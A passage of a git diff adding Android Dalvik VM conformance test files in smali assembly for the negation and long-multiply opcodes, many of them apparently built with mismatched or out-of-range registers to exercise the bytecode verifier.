+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       mul-long/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali
new file mode 100644
index 0000000..8b2d797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 14
+
+       mul-long/2addr v11, v13
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali
new file mode 100644
index 0000000..f7b1445
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       mul-long/2addr v11, v12
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali
new file mode 100644
index 0000000..7f682b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v9, v12
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali
new file mode 100644
index 0000000..ef0f23a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_1.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v6
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali
new file mode 100644
index 0000000..56f0d62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_2.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v8
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali
new file mode 100644
index 0000000..9f8377e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_3.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 8
+
+       neg-double v0, v7
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali
new file mode 100644
index 0000000..7ddb761
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_4.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       neg-double v0, v6
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali
new file mode 100644
index 0000000..6f11e25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_5.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 8
+
+       neg-double v0, v7
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali
new file mode 100644
index 0000000..412a5eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali

@@ -0,0 +1,18 @@
+.source "T_neg_double_6.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v5
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali
new file mode 100644
index 0000000..638ed7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_1.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v4
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali
new file mode 100644
index 0000000..3c4a91d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_2.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v5
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali
new file mode 100644
index 0000000..0a41404
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_3.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali
new file mode 100644
index 0000000..5b8904c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_4.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali
new file mode 100644
index 0000000..be2bdde
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali

@@ -0,0 +1,18 @@
+.source "T_neg_float_5.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali
new file mode 100644
index 0000000..231833d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_6.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       neg-float v0, v4
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali
new file mode 100644
index 0000000..2898153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_1.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali
new file mode 100644
index 0000000..430424f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali

@@ -0,0 +1,29 @@
+.source "T_neg_int_2.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 7
+
+       neg-int v4, v6
+       
+       not-int v3, v6
+       add-int/lit8 v2, v3, 1
+
+       if-eq v4, v2, :Label1
+       const/4 v1, 0
+
+:Label15
+       return v1
+:Label1
+       const/4 v1, 1
+       goto :Label15
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali
new file mode 100644
index 0000000..aab58d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_3.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v5
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali
new file mode 100644
index 0000000..be23ef2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_4.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali
new file mode 100644
index 0000000..151c335
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_5.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali
new file mode 100644
index 0000000..0db6113
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali

@@ -0,0 +1,18 @@
+.source "T_neg_int_6.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali
new file mode 100644
index 0000000..a60c687
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_7.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       neg-int v0, v4
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali
new file mode 100644
index 0000000..696b332
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_1.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v6
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali
new file mode 100644
index 0000000..ab21f30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali

@@ -0,0 +1,33 @@
+.source "T_neg_long_2.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)Z
+.registers 14
+
+       neg-long v10, v12
+       
+       not-long v8, v12
+       const-wide v6, 1
+       add-long v4, v6, v8
+
+       cmp-long v3, v4, v10
+       const/4 v1, 0
+       if-eq v1, v3, :Label1
+       const/4 v0, 0
+
+:Label15
+       return v0
+:Label1
+       const/4 v0, 1
+       goto :Label15
+
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali
new file mode 100644
index 0000000..1b18b94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_3.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v8
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali
new file mode 100644
index 0000000..00c9ecf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_4.java"
